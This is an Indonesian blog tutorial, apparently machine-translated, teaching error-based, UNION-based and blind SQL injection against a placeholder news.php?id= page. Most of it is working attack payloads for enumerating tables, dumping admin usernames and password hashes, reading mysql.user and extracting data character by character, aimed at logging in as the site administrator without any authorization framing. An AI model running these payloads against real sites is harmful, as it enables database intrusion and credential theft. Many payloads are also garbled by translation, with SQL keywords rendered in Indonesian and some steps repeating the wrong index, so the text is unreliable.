Tutorial Cara Blind SQL Injection Dengan Mudah Dan Pasti Paham



 BLIND SQL INJECTION DAN TUTORIAL SQL INJECTION

 

 #1


 

 Tutorial Injeksi SQL Lengkap (Dalam tutorial ini saya akan menjelaskan cara kerja injeksi sql dan cara

 menggunakannya untuk mendapatkan beberapa informasi yang berguna.


 Konten yang terungkap

 Pertama-tama: Apa itu injeksi SQL?

 Ini adalah salah satu kerentanan paling umum dalam aplikasi web saat ini.

 Ini memungkinkan penyerang untuk mengeksekusi kueri basis data di url dan mendapatkan akses

 untuk beberapa informasi rahasia dll ... (segera).


 1.SQL Injection (klasik atau berbasis kesalahan atau apa pun namanya)

 2.Blind SQL Injection (bagian yang lebih sulit)


 Jadi mari kita mulai dengan beberapa tindakan


 1).  Periksa kerentanan

 Katakanlah kita memiliki beberapa situs seperti ini

 http://www.site.com/news.php?id=5

 Sekarang untuk menguji apakah rentan kita tambahkan ke akhir url '(kutipan),

 dan itu akan menjadi http://www.site.com/news.php?id=5′

 jadi jika kita mendapatkan beberapa kesalahan seperti

 “Anda memiliki kesalahan dalam sintaks SQL Anda;  periksa manual yang sesuai dengan versi server MySQL Anda untuk kanan dll ... "

 atau yang serupa

 itu artinya rentan terhadap injeksi sql


 2).  Temukan jumlah kolom

 Untuk mencari jumlah kolom kami menggunakan pernyataan ORDER BY (memberi tahu database cara memesan hasilnya)

 jadi bagaimana cara menggunakannya?  Nah hanya menambah nomor sampai kita mendapatkan kesalahan.

 http://www.site.com/news.php?id=5 order by 1/* <– no error

 http://www.site.com/news.php?id=5 order by 2/* <– no error

 http://www.site.com/news.php?id=5 order by 3/* <– no error

 http://www.site.com/news.php?id=5 order by 4/* <– error (kami mendapatkan pesan seperti ini kolom Unknown '4′ di 'order clause' atau semacamnya)

 itu berarti memiliki 3 kolom, karena kami mendapat kesalahan pada 4.


 3).  Periksa fungsi UNION

 Dengan union kita dapat memilih lebih banyak data dalam satu pernyataan sql.

 jadi kita punya

 http://www.site.com/news.php?id=5 union all select 1,2,3/* (kami telah menemukan bahwa jumlah kolom adalah 3 di bagian 2).  )

 jika kita melihat beberapa angka di layar, yaitu 1 atau 2 atau 3 maka UNION berfungsi


 4).  Periksa versi MySQL

 http://www.site.com/news.php?id=5 union all pilih 1,2,3/* CATATAN: jika /* tidak berfungsi atau Anda mendapatkan kesalahan, coba –

 ini adalah komentar dan penting agar kueri kami berfungsi dengan baik.

 katakanlah kita memiliki nomor 2 di layar, sekarang untuk memeriksa versi

 kami mengganti nomor 2 dengan @@version atau version() dan mendapatkan sesuatu seperti 4.1.33-log atau 5.0.45 atau serupa.

 seharusnya terlihat seperti ini http://www.site.com/news.php?id=5 union semua pilih 1,@@version,3/*

 jika Anda mendapatkan kesalahan “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”

 saya tidak melihat kertas yang membahas masalah ini, jadi saya harus menulisnya

 yang kita butuhkan adalah fungsi convert()

 yaitu

 http://www.site.com/news.php?id=5 serikat semua pilih 1,konversi(@@versi menggunakan latin1),3/*

 atau dengan hex() dan unhex()

 yaitu

 http://www.site.com/news.php?id=5 serikat semua pilih 1,unhex(hex(@@version)),3/*

 dan Anda akan mendapatkan versi MySQL


 5).  Mendapatkan nama tabel dan kolom

 baik jika versi MySQL adalah <5 (yaitu 4.1.33, 4.1.12…) <— nanti saya akan menjelaskan untuk MySQL > versi 5.

 kita harus menebak nama tabel dan kolom dalam banyak kasus.

 nama tabel yang umum adalah: user/s, admin/s, member/s …

 nama kolom yang umum adalah: username, user, usr, user_name, password, pass, passwd, pwd dll…

 yaitu akan menjadi

 http://www.site.com/news.php?id=5 union all pilih 1,2,3 dari admin/* (kami melihat nomor 2 di layar seperti sebelumnya, dan itu bagus :D)

 kita tahu bahwa admin tabel ada…

 sekarang untuk memeriksa nama kolom.

 http://www.site.com/news.php?id=5 union all pilih 1,username,3 from admin/* (jika error, coba nama kolom lainnya)

 kita mendapatkan nama pengguna yang ditampilkan di layar, misalnya admin, atau superadmin dll ...

 sekarang untuk memeriksa apakah kata sandi kolom ada

 http://www.site.com/news.php?id=5 union all pilih 1,password,3 from admin/* (jika error, coba nama kolom yang lain)

 kami melihat kata sandi di layar dalam hash atau teks biasa, itu tergantung pada bagaimana database diatur

 yaitu hash md5, hash mysql, sha1…

 sekarang kita harus menyelesaikan kueri agar terlihat bagus

 untuk itu kita bisa menggunakan fungsi concat() (menggabungkan string)

 yaitu

 http://www.site.com/news.php?id=5 union semua pilih 1,concat(username,0×3a,password),3 dari admin/*

 Perhatikan bahwa saya menempatkan 0×3a, nilai hex untuk : (jadi 0×3a adalah nilai hex untuk titik dua)

 (ada cara lain untuk itu, char(58), nilai ascii untuk : )

 http://www.site.com/news.php?id=5 union semua pilih 1,concat(username,char(58),password),3 dari admin/*

 sekarang kita mendapatkan nama pengguna: kata sandi yang ditampilkan di layar, yaitu admin: admin atau admin: somehash

 ketika Anda memiliki ini, Anda dapat masuk seperti admin atau superuse


 jika tidak dapat menebak nama tabel yang tepat, Anda selalu dapat mencoba mysql.user (default)

 itu memiliki kolom kata sandi pengguna i, jadi contohnya adalah

 http://www.site.com/news.php?id=5 union semua pilih 1,concat(user,0×3a,password),3 dari mysql.user/*


 6).  MySQL 5

 Seperti yang saya katakan sebelumnya, saya akan menjelaskan cara mendapatkan nama tabel dan kolom

 di MySQL>5.

 Untuk ini kita membutuhkan information_schema.  Ini memegang semua tabel dan kolom dalam database.

 untuk mendapatkan tabel kita menggunakan table_name dan information_schema.tables.

 yaitu

 http://www.site.com/news.php?id=5 union semua pilih 1,table_name,3 dari information_schema.tables/*

 di sini kami mengganti nomor 2 kami dengan table_name untuk mendapatkan tabel pertama dari information_schema.tables

 ditampilkan di layar.  Sekarang kita harus menambahkan LIMIT ke akhir kueri untuk membuat daftar semua tabel.

 yaitu

 http://www.site.com/news.php?id=5 union semua pilih 1,table_name,3 dari information_schema.tables limit 0,1/*

 perhatikan bahwa saya menempatkan 0,1 (dapatkan 1 hasil mulai dari ke-0)

 sekarang untuk melihat tabel kedua, kami mengubah batas 0,1 menjadi batas 1,1

 yaitu

 http://www.site.com/news.php?id=5 union all pilih 1,table_name,3 dari information_schema.tables limit 1,1/*

 tabel kedua ditampilkan.

 untuk tabel ketiga kami menempatkan batas 2,1

 yaitu

 http://www.site.com/news.php?id=5 union all pilih 1,table_name,3 dari information_schema.tables limit 2,1/*

 terus bertambah sampai Anda mendapatkan yang bermanfaat seperti db_admin, poll_user, auth, auth_user dll…

 Untuk mendapatkan nama kolom, metodenya sama.

 di sini kita menggunakan column_name dan information_schema.columns

 metodenya sama seperti di atas jadi contohnya adalah

 http://www.site.com/news.php?id=5 union semua pilih 1,column_name,3 dari information_schema.columns limit 0,1/*

 kolom pertama ditampilkan.

 yang kedua (kita ubah limit 0,1 menjadi limit 1,1)

 yaitu.

 http://www.site.com/news.php?id=5 union semua pilih 1,column_name,3 dari information_schema.columns limit 1,1/*

 kolom kedua ditampilkan, jadi terus bertambah sampai Anda mendapatkan sesuatu seperti

 nama pengguna, pengguna, login, kata sandi, pass, passwd dll ...

 jika Anda ingin menampilkan nama kolom untuk tabel tertentu, gunakan kueri ini.  (klausa dimana)

 katakanlah kami menemukan pengguna tabel.

 yaitu

 http://www.site.com/news.php?id=5 union semua pilih 1,column_name,3 dari information_schema.columns where table_name='users'/*

 sekarang kita mendapatkan nama kolom yang ditampilkan di pengguna tabel.  Hanya menggunakan LIMIT kita dapat membuat daftar semua kolom di tabel pengguna.

 Perhatikan bahwa ini tidak akan berfungsi jika tanda kutip ajaib AKTIF.

 katakanlah kami menemukan kolom pengguna, pass, dan email.

 sekarang untuk menyelesaikan kueri untuk menyatukan semuanya


 untuk itu kita menggunakan concat() , sudah saya uraikan sebelumnya.

 yaitu

 http://www.site.com/news.php?id=5 union semua pilih 1,concat(user,0×3a,pass,0×3a,email) dari pengguna/*

 apa yang kita dapatkan di sini adalah user:pass:email dari pengguna tabel.

 contoh: admin:hash:whatever@blabla.com

 Itu saja di bagian ini, sekarang kita bisa melanjutkan ke bagian yang lebih sulit


 2. Injeksi SQL Buta

 Injeksi buta sedikit lebih rumit dari injeksi klasik tetapi bisa dilakukan.

 Mari kita mulai dengan hal-hal canggih.

 Saya akan menggunakan contoh kami

 http://www.site.com/news.php?id=5

 ketika kami menjalankan ini, kami melihat beberapa halaman dan artikel di halaman itu, gambar dll ...

 lalu ketika kita ingin mengujinya untuk serangan injeksi sql buta

 http://www.site.com/news.php?id=5 and 1=1 <— ini selalu benar

 dan halaman dimuat secara normal, tidak apa-apa.

 sekarang ujian yang sebenarnya

 http://www.site.com/news.php?id=5 dan 1=2 <— ini salah

 jadi jika beberapa teks, gambar atau beberapa konten hilang pada halaman yang dikembalikan maka situs tersebut rentan terhadap injeksi sql buta.


 1) Dapatkan versi MySQL

 untuk mendapatkan versi dalam serangan buta kami menggunakan substring

 yaitu


 http://www.site.com/news.php?id=5 dan substring(@@version,1,1)=4


 ini akan mengembalikan TRUE jika versi MySQL adalah 4.


 ganti 4 dengan 5, dan jika kueri mengembalikan TRUE maka versinya adalah 5.


 yaitu


 http://www.site.com/news.php?id=5 dan substring(@@version,1,1)=5


 2) Uji apakah subselect berfungsi

 ketika pilih tidak berfungsi maka kami menggunakan subselect

 yaitu

 http://www.site.com/news.php?id=5 dan (pilih 1)=1

 jika halaman dimuat secara normal maka subpilihan berfungsi.

 maka kita akan melihat apakah kita memiliki akses ke mysql.user

 yaitu

 http://www.site.com/news.php?id=5 dan (pilih 1 dari mysql.user limit 0,1)=1

 jika halaman dimuat secara normal, kami memiliki akses ke mysql.user dan kemudian kami dapat menarik beberapa kata sandi menggunakan fungsi load_file() dan OUTFILE.


 3).  Periksa nama tabel dan kolom

 Ini adalah bagian ketika menebak adalah teman terbaik

 yaitu

 http://www.site.com/news.php?id=5 dan (pilih 1 dari batas pengguna 0,1)=1 (dengan batas 0,1 kueri kami di sini mengembalikan 1 baris data, karena subselect hanya mengembalikan 1  baris, ini sangat penting.)

 kemudian jika halaman dimuat secara normal tanpa konten yang hilang, pengguna tabel keluar.

 jika Anda mendapatkan FALSE (beberapa artikel hilang), ubah saja nama tabel sampai Anda menebak yang benar

 katakanlah kita telah menemukan bahwa nama tabel adalah pengguna, sekarang yang kita butuhkan adalah nama kolom.

 sama seperti nama tabel, kita mulai menebak.  Seperti yang saya katakan sebelumnya, coba nama umum untuk kolom.

 yaitu

 http://www.site.com/news.php?id=5 dan (pilih substring(concat(1,password),1,1) dari batas pengguna 0,1)=1

 jika halaman dimuat secara normal, kami tahu bahwa nama kolom adalah kata sandi (jika kami salah, coba nama umum atau tebak saja)

 disini kita gabungkan 1 dengan kolom password, kemudian substring mengembalikan karakter pertama (,1,1)


 4).  Tarik data dari database

 kami menemukan pengguna tabel i kolom nama pengguna kata sandi jadi kami akan menarik karakter dari itu.

 http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>80

 ok ini di sini menarik karakter pertama dari pengguna pertama di pengguna tabel.

 substring di sini mengembalikan karakter pertama dan panjang 1 karakter.  ascii() mengubah 1 karakter itu menjadi nilai ascii

 dan kemudian bandingkan dengan simbol lebih besar dari > .

 jadi jika karakter ascii lebih besar dari 80, halaman dimuat secara normal.  (BENAR)

 kita terus mencoba sampai kita mendapatkan false.

 http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>95

 kami mendapatkan BENAR, terus bertambah

 http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>98

 BENAR lagi, lebih tinggi

 http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>99

 SALAH!!!

 jadi karakter pertama di username adalah char(99).  Menggunakan konverter ascii kita tahu bahwa char(99) adalah huruf 'c'.

 lalu mari kita periksa karakter kedua.

 http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),2,1))>99

 Perhatikan bahwa saya mengubah ,1,1 menjadi ,2,1 untuk mendapatkan karakter kedua.  (sekarang mengembalikan karakter kedua, panjangnya 1 karakter)

 http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>99

 BENAR, halaman dimuat secara normal, lebih tinggi.

 http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>107

 SALAH, angka yang lebih rendah.

 http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>104

 BENAR, lebih tinggi.

 http://www.site.com/news.php?id=5 dan ascii(substring((SELECT concat(username,0×3a,password) dari batas pengguna 0,1),1,1))>105

 SALAH!!!

 kita tahu bahwa karakter kedua adalah char (105) dan itu adalah 'i'.  Kami memiliki 'ci' sejauh ini

 jadi terus bertambah sampai Anda mendapatkan akhir.  (ketika >0 mengembalikan false, kita tahu bahwa kita telah mencapai akhir).

 Ps: ini butuh waktu lama untuk melakukan tutorial ini saya perlu tidur SAYA HARAP ANDA MENYUKAINYA :) mm

BangJago Bukan wibu tapi manusia normal

Belum ada Komentar untuk "Tutorial Cara Blind SQL Injection Dengan Mudah Dan Pasti Paham"

Posting Komentar

Komentar yang sopan ya gan. Terimakasih

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel